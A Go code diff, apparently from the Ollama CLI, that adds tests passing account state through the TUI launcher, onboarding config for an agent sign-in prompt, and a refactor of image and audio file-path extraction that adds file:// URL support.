resolveRunModel: func(ctx context.Context, req launch.RunModelRequest) (string, error) {
gotReq = req
return tt.wantModel, nil
@@ -90,6 +373,10 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
launched = model
return nil
},
accountState: func() *launch.AccountState {
return prefetchedAccount
},
accountStateUpdates: accountUpdates,
}
cmd := &cobra.Command{}
@@ -107,6 +394,12 @@ func TestRunInteractiveTUI_RunModelActionsUseResolveRunModel(t *testing.T) {
if gotReq.ForcePicker != tt.wantForce {
t.Fatalf("expected ForcePicker=%v, got %v", tt.wantForce, gotReq.ForcePicker)
}
if gotReq.AccountState != prefetchedAccount {
t.Fatalf("expected prefetched account state to be passed to run model request")
}
if gotReq.AccountStateUpdates == nil {
t.Fatalf("expected account state updates to be passed to run model request")
}
if launched != tt.wantModel {
t.Fatalf("expected interactive launcher to run %q, got %q", tt.wantModel, launched)
}
@@ -148,17 +441,28 @@ func TestRunInteractiveTUI_IntegrationActionsUseLaunchIntegration(t *testing.T)
}
var gotReq launch.IntegrationLaunchRequest
prefetchedAccount := &launch.AccountState{}
accountUpdates := func(context.Context) <-chan *launch.AccountState { return nil }
deps := launcherDeps{
buildState: func(ctx context.Context) (*launch.LauncherState, error) {
return &launch.LauncherState{}, nil
},
runMenu: runMenu,
runMenu: func(state *launch.LauncherState) (tui.TUIAction, error) {
if state.AccountState != prefetchedAccount {
t.Fatalf("prefetched account state was not piped to menu state")
}
return runMenu(state)
},
resolveRunModel: unexpectedRunModelResolution(t),
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
gotReq = req
return nil
},
runModel: unexpectedModelLaunch(t),
accountState: func() *launch.AccountState {
return prefetchedAccount
},
accountStateUpdates: accountUpdates,
}
cmd := &cobra.Command{}
@@ -179,6 +483,12 @@ func TestRunInteractiveTUI_IntegrationActionsUseLaunchIntegration(t *testing.T)
if gotReq.ForceConfigure != tt.wantForce {
t.Fatalf("expected ForceConfigure=%v, got %v", tt.wantForce, gotReq.ForceConfigure)
}
if gotReq.AccountState != prefetchedAccount {
t.Fatalf("expected prefetched account state to be passed to integration request")
}
if gotReq.AccountStateUpdates == nil {
t.Fatalf("expected account state updates to be passed to integration request")
}
if got := config.LastSelection(); got != "claude" {
t.Fatalf("expected last selection to be claude, got %q", got)
}
@@ -209,29 +519,30 @@ func TestRunLauncherAction_RunModelContinuesAfterCancellation(t *testing.T) {
}
}
func TestRunLauncherAction_VSCodeExitsTUILoop(t *testing.T) {
func TestRunLauncherAction_GUIAppsExitTUILoop(t *testing.T) {
setCmdTestHome(t, t.TempDir())
cmd := &cobra.Command{}
cmd.SetContext(context.Background())
// VS Code should exit the TUI loop (return false) after a successful launch.
continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "vscode"}, launcherDeps{
resolveRunModel: unexpectedRunModelResolution(t),
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
return nil
},
runModel: unexpectedModelLaunch(t),
})
if err != nil {
t.Fatalf("expected nil error, got %v", err)
}
if continueLoop {
t.Fatal("expected vscode launch to exit the TUI loop (return false)")
for _, integration := range []string{"codex-app", "vscode"} {
continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: integration}, launcherDeps{
resolveRunModel: unexpectedRunModelResolution(t),
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
return nil
},
runModel: unexpectedModelLaunch(t),
})
if err != nil {
t.Fatalf("expected nil error for %s, got %v", integration, err)
}
if continueLoop {
t.Fatalf("expected %s launch to exit the TUI loop (return false)", integration)
}
}
// Other integrations should continue the TUI loop (return true).
continueLoop, err = runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "claude"}, launcherDeps{
continueLoop, err := runLauncherAction(cmd, tui.TUIAction{Kind: tui.TUIActionLaunchIntegration, Integration: "claude"}, launcherDeps{
resolveRunModel: unexpectedRunModelResolution(t),
launchIntegration: func(ctx context.Context, req launch.IntegrationLaunchRequest) error {
return nil
+922 -176
View File
File diff suppressed because it is too large. Load diff
+37
View File
@@ -19,6 +19,14 @@ type integration struct {
Onboarded bool `json:"onboarded,omitempty"`
}
type onboarding struct {
Agent *agentOnboarding `json:"agent,omitempty"`
}
type agentOnboarding struct {
SignInPromptSeen bool `json:"sign_in_prompt_seen,omitempty"`
}
// IntegrationConfig is the persisted config for one integration.
type IntegrationConfig = integration
@@ -26,6 +34,7 @@ type config struct {
Integrations map[string]*integration `json:"integrations"`
LastModel string `json:"last_model,omitempty"`
LastSelection string `json:"last_selection,omitempty"` // "run" or integration name
Onboarding *onboarding `json:"onboarding,omitempty"`
}
func configPath() (string, error) {
@@ -230,6 +239,34 @@ func SetLastSelection(selection string) error {
return save(cfg)
}
// AgentSignInPromptSeen reports whether the root agent sign-in onboarding prompt
// has already been shown.
func AgentSignInPromptSeen() bool {
cfg, err := load()
if err != nil {
return false
}
return cfg.Onboarding != nil &&
cfg.Onboarding.Agent != nil &&
cfg.Onboarding.Agent.SignInPromptSeen
}
// SetAgentSignInPromptSeen persists the root agent sign-in onboarding prompt state.
func SetAgentSignInPromptSeen(seen bool) error {
cfg, err := load()
if err != nil {
return err
}
if cfg.Onboarding == nil {
cfg.Onboarding = &onboarding{}
}
if cfg.Onboarding.Agent == nil {
cfg.Onboarding.Agent = &agentOnboarding{}
}
cfg.Onboarding.Agent.SignInPromptSeen = seen
return save(cfg)
}
// LoadIntegration returns the saved config for one integration.
func LoadIntegration(appName string) (*integration, error) {
cfg, err := load()
+30
View File
@@ -302,6 +302,36 @@ func TestLoad(t *testing.T) {
})
}
func TestAgentSignInPromptSeen(t *testing.T) {
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
if AgentSignInPromptSeen() {
t.Fatal("new config should not have agent sign-in onboarding marked seen")
}
if err := SetAgentSignInPromptSeen(true); err != nil {
t.Fatal(err)
}
if !AgentSignInPromptSeen() {
t.Fatal("agent sign-in onboarding seen state was not saved")
}
path, err := configPath()
if err != nil {
t.Fatal(err)
}
data, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(data), `"onboarding"`) ||
!strings.Contains(string(data), `"agent"`) ||
!strings.Contains(string(data), `"sign_in_prompt_seen": true`) {
t.Fatalf("config does not include onboarding state: %s", data)
}
}
func TestMigrateConfig(t *testing.T) {
t.Run("migrates legacy file to new location", func(t *testing.T) {
tmpDir := t.TempDir()
+40
View File
@@ -0,0 +1,40 @@
package cmd
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/cmd/internal/filedata"
)
func normalizeFilePath(fp string) string {
return filedata.NormalizePath(fp)
}
func extractFileNames(input string) []string {
return filedata.ExtractNames(input)
}
func extractFileData(input string) (string, []api.ImageData, error) {
cleaned, files, err := filedata.ExtractWithFiles(input)
if err != nil {
fmt.Fprintf(os.Stderr, "Couldn't process file: %q\n", err)
return "", nil, err
}
imgs := make([]api.ImageData, 0, len(files))
for _, file := range files {
ext := strings.ToLower(filepath.Ext(file.Path))
switch ext {
case ".wav":
fmt.Fprintf(os.Stderr, "Added audio '%s'\n", file.Path)
default:
fmt.Fprintf(os.Stderr, "Added image '%s'\n", file.Path)
}
imgs = append(imgs, file.Data)
}
return cleaned, imgs, nil
}
-735
View File
@@ -1,735 +0,0 @@
package cmd
import (
"cmp"
"errors"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"regexp"
"slices"
"strings"
"github.com/spf13/cobra"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/envconfig"
"github.com/ollama/ollama/internal/modelref"
"github.com/ollama/ollama/readline"
"github.com/ollama/ollama/types/errtypes"
"github.com/ollama/ollama/types/model"
)
type MultilineState int
const (
MultilineNone MultilineState = iota
MultilinePrompt
MultilineSystem
)
func generateInteractive(cmd *cobra.Command, opts runOptions) error {
usage := func() {
fmt.Fprintln(os.Stderr, "Available Commands:")
fmt.Fprintln(os.Stderr, " /set Set session variables")
fmt.Fprintln(os.Stderr, " /show Show model information")
fmt.Fprintln(os.Stderr, " /load <model> Load a session or model")
fmt.Fprintln(os.Stderr, " /save <model> Save your current session")
fmt.Fprintln(os.Stderr, " /clear Clear session context")
fmt.Fprintln(os.Stderr, " /bye Exit")
fmt.Fprintln(os.Stderr, " /?, /help Help for a command")
fmt.Fprintln(os.Stderr, " /? shortcuts Help for keyboard shortcuts")
fmt.Fprintln(os.Stderr, "")
fmt.Fprintln(os.Stderr, "Use \"\"\" to begin a multi-line message.")
if opts.MultiModal {
fmt.Fprintf(os.Stderr, "Use %s to include .jpg, .png, .webp images, or .wav audio files.\n", filepath.FromSlash("/path/to/file"))
}
fmt.Fprintln(os.Stderr, "")
}
usageSet := func() {
fmt.Fprintln(os.Stderr, "Available Commands:")
fmt.Fprintln(os.Stderr, " /set parameter ... Set a parameter")
fmt.Fprintln(os.Stderr, " /set system <string> Set system message")
fmt.Fprintln(os.Stderr, " /set history Enable history")
fmt.Fprintln(os.Stderr, " /set nohistory Disable history")
fmt.Fprintln(os.Stderr, " /set wordwrap Enable wordwrap")
fmt.Fprintln(os.Stderr, " /set nowordwrap Disable wordwrap")
fmt.Fprintln(os.Stderr, " /set format json Enable JSON mode")
fmt.Fprintln(os.Stderr, " /set noformat Disable formatting")
fmt.Fprintln(os.Stderr, " /set verbose Show LLM stats")
fmt.Fprintln(os.Stderr, " /set quiet Disable LLM stats")
fmt.Fprintln(os.Stderr, " /set think Enable thinking")
fmt.Fprintln(os.Stderr, " /set nothink Disable thinking")
fmt.Fprintln(os.Stderr, "")
}
usageShortcuts := func() {
fmt.Fprintln(os.Stderr, "Available keyboard shortcuts:")
fmt.Fprintln(os.Stderr, " Ctrl + a Move to the beginning of the line (Home)")
fmt.Fprintln(os.Stderr, " Ctrl + e Move to the end of the line (End)")
fmt.Fprintln(os.Stderr, " Alt + b Move back (left) one word")
fmt.Fprintln(os.Stderr, " Alt + f Move forward (right) one word")
fmt.Fprintln(os.Stderr, " Ctrl + k Delete the sentence after the cursor")
fmt.Fprintln(os.Stderr, " Ctrl + u Delete the sentence before the cursor")
fmt.Fprintln(os.Stderr, " Ctrl + w Delete the word before the cursor")
fmt.Fprintln(os.Stderr, "")
fmt.Fprintln(os.Stderr, " Ctrl + l Clear the screen")
fmt.Fprintln(os.Stderr, " Ctrl + g Open default editor to compose a prompt")
fmt.Fprintln(os.Stderr, " Ctrl + c Stop the model from responding")
fmt.Fprintln(os.Stderr, " Ctrl + d Exit ollama (/bye)")
fmt.Fprintln(os.Stderr, "")
}
usageShow := func() {
fmt.Fprintln(os.Stderr, "Available Commands:")
fmt.Fprintln(os.Stderr, " /show info Show details for this model")
fmt.Fprintln(os.Stderr, " /show license Show model license")
fmt.Fprintln(os.Stderr, " /show modelfile Show Modelfile for this model")
fmt.Fprintln(os.Stderr, " /show parameters Show parameters for this model")
fmt.Fprintln(os.Stderr, " /show system Show system message")
fmt.Fprintln(os.Stderr, " /show template Show prompt template")
fmt.Fprintln(os.Stderr, "")
}
// only list out the most common parameters
usageParameters := func() {
fmt.Fprintln(os.Stderr, "Available Parameters:")
fmt.Fprintln(os.Stderr, " /set parameter seed <int> Random number seed")
fmt.Fprintln(os.Stderr, " /set parameter num_predict <int> Max number of tokens to predict")
fmt.Fprintln(os.Stderr, " /set parameter top_k <int> Pick from top k num of tokens")
fmt.Fprintln(os.Stderr, " /set parameter top_p <float> Pick token based on sum of probabilities")
fmt.Fprintln(os.Stderr, " /set parameter min_p <float> Pick token based on top token probability * min_p")
fmt.Fprintln(os.Stderr, " /set parameter num_ctx <int> Set the context size")
fmt.Fprintln(os.Stderr, " /set parameter temperature <float> Set creativity level")
fmt.Fprintln(os.Stderr, " /set parameter repeat_penalty <float> How strongly to penalize repetitions")
fmt.Fprintln(os.Stderr, " /set parameter repeat_last_n <int> Set how far back to look for repetitions")
fmt.Fprintln(os.Stderr, " /set parameter num_gpu <int> The number of layers to send to the GPU")
fmt.Fprintln(os.Stderr, " /set parameter stop <string> <string> ... Set the stop parameters")
fmt.Fprintln(os.Stderr, "")
}
scanner, err := readline.New(readline.Prompt{
Prompt: ">>> ",
AltPrompt: "... ",
Placeholder: "Send a message (/? for help)",
AltPlaceholder: "Press Enter to send",
})
if err != nil {
return err
}
if envconfig.NoHistory() {
scanner.HistoryDisable()
}
fmt.Print(readline.StartBracketedPaste)
defer fmt.Printf(readline.EndBracketedPaste)
var sb strings.Builder
var multiline MultilineState
var thinkExplicitlySet bool = opts.Think != nil
for {
line, err := scanner.Readline()
switch {
case errors.Is(err, io.EOF):
fmt.Println()
return nil
case errors.Is(err, readline.ErrInterrupt):
if line == "" {
fmt.Println("\nUse Ctrl + d or /bye to exit.")
}
scanner.Prompt.UseAlt = false
sb.Reset()
continue
case errors.Is(err, readline.ErrEditPrompt):
sb.Reset()
content, err := editInExternalEditor(line)
if err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
continue
}
if strings.TrimSpace(content) == "" {
continue
}
scanner.Prefill = content
continue
case err != nil:
return err
}
switch {
case multiline != MultilineNone:
// check if there's a multiline terminating string
before, ok := strings.CutSuffix(line, `"""`)
sb.WriteString(before)
if !ok {
fmt.Fprintln(&sb)
scanner.Prompt.UseAlt = true
continue
}
switch multiline {
case MultilineSystem:
opts.System = sb.String()
opts.Messages = append(opts.Messages, api.Message{Role: "system", Content: opts.System})
fmt.Println("Set system message.")
sb.Reset()
}
multiline = MultilineNone
scanner.Prompt.UseAlt = false
case strings.HasPrefix(line, `"""`):
line := strings.TrimPrefix(line, `"""`)
line, ok := strings.CutSuffix(line, `"""`)
sb.WriteString(line)
if !ok {
// no multiline terminating string; need more input
fmt.Fprintln(&sb)
multiline = MultilinePrompt
scanner.Prompt.UseAlt = true
}
case scanner.Pasting:
fmt.Fprintln(&sb, line)
continue
case strings.HasPrefix(line, "/list"):
args := strings.Fields(line)
if err := ListHandler(cmd, args[1:]); err != nil {
return err
}
case strings.HasPrefix(line, "/load"):
args := strings.Fields(line)
if len(args) != 2 {
fmt.Println("Usage:\n /load <modelname>")
continue
}
origOpts := opts.Copy()
client, err := api.ClientFromEnvironment()
if err != nil {
fmt.Println("error: couldn't connect to ollama server")
return err
}
opts.Model = args[1]
opts.Messages = []api.Message{}
opts.LoadedMessages = nil
fmt.Printf("Loading model '%s'\n", opts.Model)
info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
if err != nil {
if strings.Contains(err.Error(), "not found") {
fmt.Printf("Couldn't find model '%s'\n", opts.Model)
opts = origOpts.Copy()
continue
}
return err
}
applyShowResponseToRunOptions(&opts, info)
opts.Think, err = inferThinkingOption(&info.Capabilities, &opts, thinkExplicitlySet)
if err != nil {
return err
}
if err := loadOrUnloadModel(cmd, &opts); err != nil {
if strings.Contains(err.Error(), "not found") {
fmt.Printf("Couldn't find model '%s'\n", opts.Model)
opts = origOpts.Copy()
continue
}
if strings.Contains(err.Error(), "does not support thinking") {
fmt.Printf("error: %v\n", err)
continue
}
return err
}
continue
case strings.HasPrefix(line, "/save"):
args := strings.Fields(line)
if len(args) != 2 {
fmt.Println("Usage:\n /save <modelname>")
continue
}
client, err := api.ClientFromEnvironment()
if err != nil {
fmt.Println("error: couldn't connect to ollama server")
return err
}
req := NewCreateRequest(args[1], opts)
fn := func(resp api.ProgressResponse) error { return nil }
err = client.Create(cmd.Context(), req, fn)
if err != nil {
if strings.Contains(err.Error(), errtypes.InvalidModelNameErrMsg) {
fmt.Printf("error: The model name '%s' is invalid\n", args[1])
continue
}
return err
}
fmt.Printf("Created new model '%s'\n", args[1])
continue
case strings.HasPrefix(line, "/clear"):
opts.Messages = []api.Message{}
if opts.System != "" {
newMessage := api.Message{Role: "system", Content: opts.System}
opts.Messages = append(opts.Messages, newMessage)
}
fmt.Println("Cleared session context")
continue
case strings.HasPrefix(line, "/set"):
args := strings.Fields(line)
if len(args) > 1 {
switch args[1] {
case "history":
scanner.HistoryEnable()
case "nohistory":
scanner.HistoryDisable()
case "wordwrap":
opts.WordWrap = true
fmt.Println("Set 'wordwrap' mode.")
case "nowordwrap":
opts.WordWrap = false
fmt.Println("Set 'nowordwrap' mode.")
case "verbose":
if err := cmd.Flags().Set("verbose", "true"); err != nil {
return err
}
fmt.Println("Set 'verbose' mode.")
case "quiet":
if err := cmd.Flags().Set("verbose", "false"); err != nil {
return err
}
fmt.Println("Set 'quiet' mode.")
case "think":
thinkValue := api.ThinkValue{Value: true}
var maybeLevel string
if len(args) > 2 {
maybeLevel = args[2]
}
if maybeLevel != "" {
// TODO(drifkin): validate the level, could be model dependent
// though... It will also be validated on the server once a call is
// made.
thinkValue.Value = maybeLevel
}
opts.Think = &thinkValue
thinkExplicitlySet = true
if client, err := api.ClientFromEnvironment(); err == nil {
ensureThinkingSupport(cmd.Context(), client, opts.Model)
}
if maybeLevel != "" {
fmt.Printf("Set 'think' mode to '%s'.\n", maybeLevel)
} else {
fmt.Println("Set 'think' mode.")
}
case "nothink":
opts.Think = &api.ThinkValue{Value: false}
thinkExplicitlySet = true
if client, err := api.ClientFromEnvironment(); err == nil {
ensureThinkingSupport(cmd.Context(), client, opts.Model)
}
fmt.Println("Set 'nothink' mode.")
case "format":
if len(args) < 3 || args[2] != "json" {
fmt.Println("Invalid or missing format. For 'json' mode use '/set format json'")
} else {
opts.Format = args[2]
fmt.Printf("Set format to '%s' mode.\n", args[2])
}
case "noformat":
opts.Format = ""
fmt.Println("Disabled format.")
case "parameter":
if len(args) < 4 {
usageParameters()
continue
}
params := args[3:]
fp, err := api.FormatParams(map[string][]string{args[2]: params})
if err != nil {
fmt.Printf("Couldn't set parameter: %q\n", err)
continue
}
fmt.Printf("Set parameter '%s' to '%s'\n", args[2], strings.Join(params, ", "))
opts.Options[args[2]] = fp[args[2]]
case "system":
if len(args) < 3 {
usageSet()
continue
}
multiline = MultilineSystem
line := strings.Join(args[2:], " ")
line, ok := strings.CutPrefix(line, `"""`)
if !ok {
multiline = MultilineNone
} else {
// only cut suffix if the line is multiline
line, ok = strings.CutSuffix(line, `"""`)
if ok {
multiline = MultilineNone
}
}
sb.WriteString(line)
if multiline != MultilineNone {
scanner.Prompt.UseAlt = true
continue
}
opts.System = sb.String() // for display in modelfile
newMessage := api.Message{Role: "system", Content: sb.String()}
// Check if the slice is not empty and the last message is from 'system'
if len(opts.Messages) > 0 && opts.Messages[len(opts.Messages)-1].Role == "system" {
// Replace the last message
opts.Messages[len(opts.Messages)-1] = newMessage
} else {
opts.Messages = append(opts.Messages, newMessage)
}
fmt.Println("Set system message.")
sb.Reset()
continue
default:
fmt.Printf("Unknown command '/set %s'. Type /? for help\n", args[1])
}
} else {
usageSet()
}
case strings.HasPrefix(line, "/show"):
args := strings.Fields(line)
if len(args) > 1 {
client, err := api.ClientFromEnvironment()
if err != nil {
fmt.Println("error: couldn't connect to ollama server")
return err
}
req := &api.ShowRequest{
Name: opts.Model,
System: opts.System,
Options: opts.Options,
}
resp, err := client.Show(cmd.Context(), req)
if err != nil {
fmt.Println("error: couldn't get model")
return err
}
switch args[1] {
case "info":
_ = showInfo(resp, false, os.Stderr)
case "license":
if resp.License == "" {
fmt.Println("No license was specified for this model.")
} else {
fmt.Println(resp.License)
}
case "modelfile":
fmt.Println(resp.Modelfile)
case "parameters":
fmt.Println("Model defined parameters:")
if resp.Parameters == "" {
fmt.Println(" No additional parameters were specified for this model.")
} else {
for _, l := range strings.Split(resp.Parameters, "\n") {
fmt.Printf(" %s\n", l)
}
}
fmt.Println()
if len(opts.Options) > 0 {
fmt.Println("User defined parameters:")
for k, v := range opts.Options {
fmt.Printf(" %-*s %v\n", 30, k, v)
}
fmt.Println()
}
case "system":
switch {
case opts.System != "":
fmt.Println(opts.System + "\n")
case resp.System != "":
fmt.Println(resp.System + "\n")
default:
fmt.Println("No system message was specified for this model.")
}
case "template":
if resp.Template != "" {
fmt.Println(resp.Template)
} else {
fmt.Println("No prompt template was specified for this model.")
}
default:
fmt.Printf("Unknown command '/show %s'. Type /? for help\n", args[1])
}
} else {
usageShow()
}
case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
args := strings.Fields(line)
if len(args) > 1 {
switch args[1] {
case "set", "/set":
usageSet()
case "show", "/show":
usageShow()
case "shortcut", "shortcuts":
usageShortcuts()
}
} else {
usage()
}
case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
return nil
case strings.HasPrefix(line, "/"):
args := strings.Fields(line)
isFile := false
if opts.MultiModal {
for _, f := range extractFileNames(line) {
if strings.HasPrefix(f, args[0]) {
isFile = true
break
}
}
}
if !isFile {
fmt.Printf("Unknown command '%s'. Type /? for help\n", args[0])
continue
}
sb.WriteString(line)
default:
sb.WriteString(line)
}
if sb.Len() > 0 && multiline == MultilineNone {
newMessage := api.Message{Role: "user", Content: sb.String()}
if opts.MultiModal {
msg, images, err := extractFileData(sb.String())
if err != nil {
return err
}
newMessage.Content = msg
newMessage.Images = images
}
opts.Messages = append(opts.Messages, newMessage)
assistant, err := chat(cmd, opts)
if err != nil {
if strings.Contains(err.Error(), "does not support thinking") ||
strings.Contains(err.Error(), "invalid think value") {
fmt.Printf("error: %v\n", err)
sb.Reset()
continue
}
return err
}
if assistant != nil {
opts.Messages = append(opts.Messages, *assistant)
}
sb.Reset()
}
}
}
func NewCreateRequest(name string, opts runOptions) *api.CreateRequest {
parentModel := opts.ParentModel
modelName := model.ParseName(parentModel)
if !modelName.IsValid() {
parentModel = ""
}
// Preserve explicit cloud intent for sessions started with `:cloud`.
// Cloud model metadata can return a source-less parent_model (for example
// "qwen3.5"), which would otherwise make `/save` create a local derivative.
if modelref.HasExplicitCloudSource(opts.Model) && !modelref.HasExplicitCloudSource(parentModel) {
parentModel = ""
}
req := &api.CreateRequest{
Model: name,
From: cmp.Or(parentModel, opts.Model),
}
if opts.System != "" {
req.System = opts.System
}
if len(opts.Options) > 0 {
req.Parameters = opts.Options
}
messages := slices.Clone(opts.LoadedMessages)
messages = append(messages, opts.Messages...)
if len(messages) > 0 {
req.Messages = messages
}
return req
}
func normalizeFilePath(fp string) string {
return strings.NewReplacer(
"\\ ", " ", // Escaped space
"\\(", "(", // Escaped left parenthesis
"\\)", ")", // Escaped right parenthesis
"\\[", "[", // Escaped left square bracket
"\\]", "]", // Escaped right square bracket
"\\{", "{", // Escaped left curly brace
"\\}", "}", // Escaped right curly brace
"\\$", "$", // Escaped dollar sign
"\\&", "&", // Escaped ampersand
"\\;", ";", // Escaped semicolon
"\\'", "'", // Escaped single quote
"\\\\", "\\", // Escaped backslash
"\\*", "*", // Escaped asterisk
"\\?", "?", // Escaped question mark
"\\~", "~", // Escaped tilde
).Replace(fp)
}
func extractFileNames(input string) []string {
// Regex to match file paths starting with optional drive letter, / ./ \ or .\ and include escaped or unescaped spaces (\ or %20)
// and followed by more characters and a file extension
// This will capture non filename strings, but we'll check for file existence to remove mismatches
regexPattern := `(?:[a-zA-Z]:)?(?:\./|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b`
re := regexp.MustCompile(regexPattern)
return re.FindAllString(input, -1)
}
func extractFileData(input string) (string, []api.ImageData, error) {
filePaths := extractFileNames(input)
var imgs []api.ImageData
for _, fp := range filePaths {
nfp := normalizeFilePath(fp)
data, err := getImageData(nfp)
if errors.Is(err, os.ErrNotExist) {
continue
} else if err != nil {
fmt.Fprintf(os.Stderr, "Couldn't process file: %q\n", err)
return "", imgs, err
}
ext := strings.ToLower(filepath.Ext(nfp))
switch ext {
case ".wav":
fmt.Fprintf(os.Stderr, "Added audio '%s'\n", nfp)
default:
fmt.Fprintf(os.Stderr, "Added image '%s'\n", nfp)
}
input = strings.ReplaceAll(input, "'"+nfp+"'", "")
input = strings.ReplaceAll(input, "'"+fp+"'", "")
input = strings.ReplaceAll(input, fp, "")
imgs = append(imgs, data)
}
return strings.TrimSpace(input), imgs, nil
}
func editInExternalEditor(content string) (string, error) {
editor := envconfig.Editor()
if editor == "" {
editor = os.Getenv("VISUAL")
}
if editor == "" {
editor = os.Getenv("EDITOR")
}
if editor == "" {
editor = defaultEditor
}
// Check that the editor binary exists
name := strings.Fields(editor)[0]
if _, err := exec.LookPath(name); err != nil {
return "", fmt.Errorf("editor %q not found, set OLLAMA_EDITOR to the path of your preferred editor", name)
}
tmpFile, err := os.CreateTemp("", "ollama-prompt-*.txt")
if err != nil {
return "", fmt.Errorf("creating temp file: %w", err)
}
defer os.Remove(tmpFile.Name())
if content != "" {
if _, err := tmpFile.WriteString(content); err != nil {
tmpFile.Close()
return "", fmt.Errorf("writing to temp file: %w", err)
}
}
tmpFile.Close()
args := strings.Fields(editor)
args = append(args, tmpFile.Name())
cmd := exec.Command(args[0], args[1:]...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("editor exited with error: %w", err)
}
data, err := os.ReadFile(tmpFile.Name())
if err != nil {
return "", fmt.Errorf("reading temp file: %w", err)
}
return strings.TrimRight(string(data), "\n"), nil
}
func getImageData(filePath string) ([]byte, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
buf := make([]byte, 512)
_, err = file.Read(buf)
if err != nil {
return nil, err
}
contentType := http.DetectContentType(buf)
allowedTypes := []string{"image/jpeg", "image/jpg", "image/png", "image/webp", "audio/wave"}
if !slices.Contains(allowedTypes, contentType) {
return nil, fmt.Errorf("invalid file type: %s", contentType)
}
info, err := file.Stat()
if err != nil {
return nil, err
}
var maxSize int64 = 100 * 1024 * 1024 // 100MB
if info.Size() > maxSize {
return nil, errors.New("file size exceeds maximum limit (100MB)")
}
buf = make([]byte, info.Size())
_, err = file.Seek(0, 0)
if err != nil {
return nil, err
}
_, err = io.ReadFull(file, buf)
if err != nil {
return nil, err
}
return buf, nil
}
+31
View File
@@ -1,6 +1,7 @@
package cmd
import (
"net/url"
"os"
"path/filepath"
"testing"
@@ -64,6 +65,20 @@ d:\path with\spaces\thirteen.WEBP some ending
assert.Contains(t, res[12], "d:")
}
func TestExtractFilenamesDragDropPaths(t *testing.T) {
input := `file:///Users/jdoe/Pictures/one.png file://localhost/C:/Users/jdoe/Pictures/two.webp file:///C:/Users/jdoe/Pictures/three.jpg .\relative\four.png`
res := extractFileNames(input)
assert.Len(t, res, 4)
assert.Contains(t, res[0], "file:///Users/jdoe/Pictures/one.png")
assert.Contains(t, res[1], "file://localhost/C:/Users/jdoe/Pictures/two.webp")
assert.Contains(t, res[2], "file:///C:/Users/jdoe/Pictures/three.jpg")
assert.Contains(t, res[3], `.\relative\four.png`)
}
func TestNormalizeFilePathFileURL(t *testing.T) {
assert.Equal(t, filepath.FromSlash("C:/Users/jdoe/Pictures/img.png"), normalizeFilePath("file:///C:/Users/jdoe/Pictures/img.png"))
}
// Ensure that file paths wrapped in single quotes are removed with the quotes.
func TestExtractFileDataRemovesQuotedFilepath(t *testing.T) {
dir := t.TempDir()
@@ -85,6 +100,22 @@ func TestExtractFileDataRemovesQuotedFilepath(t *testing.T) {
assert.Equal(t, cleaned, "before after")
}
func TestExtractFileDataFileURL(t *testing.T) {
dir := t.TempDir()
fp := filepath.Join(dir, "img.png")
data := make([]byte, 600)
copy(data, []byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
if err := os.WriteFile(fp, data, 0o600); err != nil {
t.Fatalf("failed to write test image: %v", err)
}
fileURL := (&url.URL{Scheme: "file", Path: fp}).String()
cleaned, imgs, err := extractFileData("before " + fileURL + " after")
assert.NoError(t, err)
assert.Len(t, imgs, 1)
assert.Equal(t, "before after", cleaned)
}
func TestExtractFileDataWAV(t *testing.T) {
dir := t.TempDir()
fp := filepath.Join(dir, "sample.wav")
+186
View File
@@ -0,0 +1,186 @@
package filedata
import (
"errors"
"fmt"
"io"
"net/http"
"net/url"
"os"
"path/filepath"
"regexp"
"slices"
"strings"
"github.com/ollama/ollama/api"
)
type File struct {
Path string
Data api.ImageData
}
func NormalizePath(fp string) string {
fp = strings.Trim(fp, "\"")
fp = strings.NewReplacer(
"\\ ", " ",
"\\(", "(",
"\\)", ")",
"\\[", "[",
"\\]", "]",
"\\{", "{",
"\\}", "}",
"\\$", "$",
"\\&", "&",
"\\;", ";",
"\\'", "'",
"\\\\", "\\",
"\\*", "*",
"\\?", "?",
"\\~", "~",
).Replace(fp)
if u, err := url.Parse(fp); err == nil && strings.EqualFold(u.Scheme, "file") {
return normalizeFileURL(u)
} else if normalized, ok := normalizeMalformedFileURL(fp); ok {
return normalized
}
return fp
}
func ExtractNames(input string) []string {
regexPattern := `(?:file://\S+?\.(?i:jpg|jpeg|png|webp|wav)\b)|(?:(?:[a-zA-Z]:)?(?:\./|\.\\|/|\\)[\S\\ ]+?\.(?i:jpg|jpeg|png|webp|wav)\b)`
re := regexp.MustCompile(regexPattern)
return re.FindAllString(input, -1)
}
func Extract(input string) (string, []api.ImageData, error) {
cleaned, files, err := ExtractWithFiles(input)
if err != nil {
return "", nil, err
}
data := make([]api.ImageData, 0, len(files))
for _, file := range files {
data = append(data, file.Data)
}
return cleaned, data, nil
}
func ExtractWithFiles(input string) (string, []File, error) {
filePaths := ExtractNames(input)
var files []File
for _, fp := range filePaths {
nfp := NormalizePath(fp)
data, err := GetData(nfp)
if errors.Is(err, os.ErrNotExist) {
continue
} else if err != nil {
return "", files, fmt.Errorf("couldn't process file %q: %w", nfp, err)
}
input = strings.ReplaceAll(input, "'"+nfp+"'", "")
input = strings.ReplaceAll(input, "'"+fp+"'", "")
